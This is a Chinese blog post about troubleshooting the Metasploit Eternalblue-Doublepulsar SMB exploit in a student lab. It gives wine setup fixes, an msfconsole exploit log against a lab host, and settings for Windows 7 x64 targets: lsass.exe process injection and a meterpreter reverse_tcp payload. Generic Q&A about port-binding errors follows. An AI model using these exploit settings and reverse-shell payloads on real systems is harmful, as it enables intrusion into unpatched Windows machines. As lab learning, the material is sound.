使用msfconsole常见问题解决

问题总结:

(其中有我遇到的问题,有我没有遇到的,但我这里总结了一下别人遇到的,未雨绸缪)
问题一(这个我也遇到过,不过我安装了上面的win 32就没问题了):在这里插入图片描述
原因:这个因为没有/root/.wine目录,执行以下命令即可创建该目录

wine cmd.exe

问题二(我没有遇到):
在这里插入图片描述
原因:wine在使用过程中会出现图形化界面,这就需要这个基于Mozilla的Gecko渲染引擎来呈现,手动安装所需版本的wine-gecko即可。我们首先下载Wine提供的MSI二进制文件,请注意下载32位版本的,因为我们安装的是wine32
解决办法:

wget https://dl.winehq.org/wine/wine-gecko/2.44/wine_gecko-2.44-x86.msi

安装wine-gecko
wine msiexec /i wine_gecko-2.44-x86.msi

问题三(我没有遇到):
在这里插入图片描述
原因:这个是由于环境变量导致的,我们需要重新设置环境变量,默认的是64位,修改为32位的。执行以下命令设置环境变量

env WINEPREFIX=$HOME/.wine32 WINEARCH=win32 winecfg

问题四(我没有遇到):
在这里插入图片描述
解决方法:安装时安装了wine-gecko库以后就没有出现这个错误了,所以如果出现这个错误,请参考解决2


问题五(这是我遇到的主要问题):

[-] Handler failed to bind to 192.168.1.211:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] 192.168.1.132:445 - Generating Eternalblue XML data
[*] 192.168.1.132:445 - Generating Doublepulsar XML data
[*] 192.168.1.132:445 - Generating payload DLL for Doublepulsar
[*] 192.168.1.132:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.1.132:445 - Launching Eternalblue...
[-] Error getting output back from Core; aborting...
[-] 192.168.1.132:445 - Are you sure it's vulnerable?
[*] 192.168.1.132:445 - Launching Doublepulsar...
[-] 192.168.1.132:445 - Oops, something was wrong!
[*] Exploit completed, but no session was created.

问题六(这也是我主要遇到的问题):
在这里插入图片描述
这两种问题我都遇到过,最后就是重新换了个靶机,成功的…:当时真想和Oops, something was wrong!干一架,但emmm,冷静下来,思考一下,会不会是靶机的问题,于是我重新创建了一台win7x86的靶机,最终成功了ps:当时靶机是学校老师拷给我们学习数据库的…
注:[-] Handler failed to bind to 192.168.1.211:4444:- -这个问题你重新启动一下msf就好了


问题七:
在这里插入图片描述
遇到这种情况不要怕,你就快要成了!!!,继续再exploit一次,或者run一次!!!就成功了!!!


LAST:
最后来一张成功的图:
在这里插入图片描述

 

4.如果使用该模块攻击win7x64注意事项:

注1:
还有个问题:如果找不到dll文件,可能是你把Eternalblue-Doublepulsar-Metasploit-master拖动到kali里时漏了里面的一些文件,拖完之后一定要和原文件比对一下
注2:
如果靶机是64,还需要设置其他配置:
(1)在exploit/windows/smb/eternalblue_doublepulsar模块中

set PROCESSINJECT lsass.exe
与
set TARGETARCHITECTURE x64
  • (2)设置payload ,因为是64位所以需要设置64位的,否则无法获取反弹
set payload windows/x64/meterpreter/reverse_tcp

参考地址:https://blog.csdn.net/qq_41617034/article/details/91051614

  • 12
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
### 回答1: "handler failed to bind to" 的意思是处理程序无法绑定。这通常是由于端口已被占用或访问权限不足而导致的。如果您正在尝试运行一个服务器或应用程序,并且遇到了这个错误消息,您可以尝试更改端口或以管理员身份运行程序来解决问题。 ### 回答2: handler failed to bind to 是指某个程序的处理器出现了绑定失败的情况。具体来说,当程序尝试使用一个指定的处理器来处理某个任务时,如果该处理器无法与该任务绑定,则会出现 handler failed to bind to 的错误提示。 这种情况通常发生在以下几个方面: 1. 硬件冲突:如果多个程序都想要使用同一个硬件设备,比如说一个打印机或者磁盘驱动器,那么就会出现硬件冲突,导致无法绑定处理器。 2. 网络连接问题:如果一个程序需要连接到一个远程服务器或者其他设备,但是网络连接出现问题,那么处理器就会无法绑定,从而出现错误提示。 3. 权限问题:有些程序需要使用某些特定的资源或者文件,但是如果当前用户没有权限访问这些资源,那么处理器也无法绑定。 解决这个问题的方法通常是找到出现错误的原因,并针对问题进行处理。比如,可以检查硬件设备是否被其他程序使用解决硬件冲突;查看网络连接是否正常,确保连接稳定;或者获取相应的权限来访问所需的资源或文件。通过解决以上问题,就可以让处理器成功地绑定,避免 handler failed to bind to 错误的发生。 ### 回答3: handler failed to bind to是指处理程序无法绑定到指定的端口或IP地址,通常出现在网络编程或服务器搭建中。主要原因有以下几个方面: 1.端口被占用 当一个端口资源被某个进程占用时,其他进程将无法使用该端口。此时,如果处理程序尝试绑定该端口,就会出现handler failed to bind to 错误。解决该问题的方法是查找并杀掉占用该端口的进程或者更换绑定的端口。 2.防火墙拦截 许多防火墙都会阻止未经授权的端口访问。此时,处理程序尝试绑定被防火墙拦截的端口或者IP地址时,就会出现handler failed to bind to 错误。解决该问题的方法是在防火墙中添加允许访问该端口的规则。 3.权限不足 当操作系统或安全软件设置较高的权限等级,或者当前用户没有足够的权限时,处理程序无法绑定某个端口或IP地址。此时,就需要升级当前用户权限或者更换较低权限的用户账户。 4.网络连接问题 如果处理程序与绑定的IP地址或端口之间存在网络连接问题,比如网络延迟、网络拥堵、物理连接错误等等,就可能出现handler failed to bind to 错误。解决该问题的方法是检查网络连接情况,确认网络稳定性。 总体而言,当handler failed to bind to 错误出现时,我们需要综合考虑多种可能因素,逐一排查解决,以确保处理程序能够正常运行。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值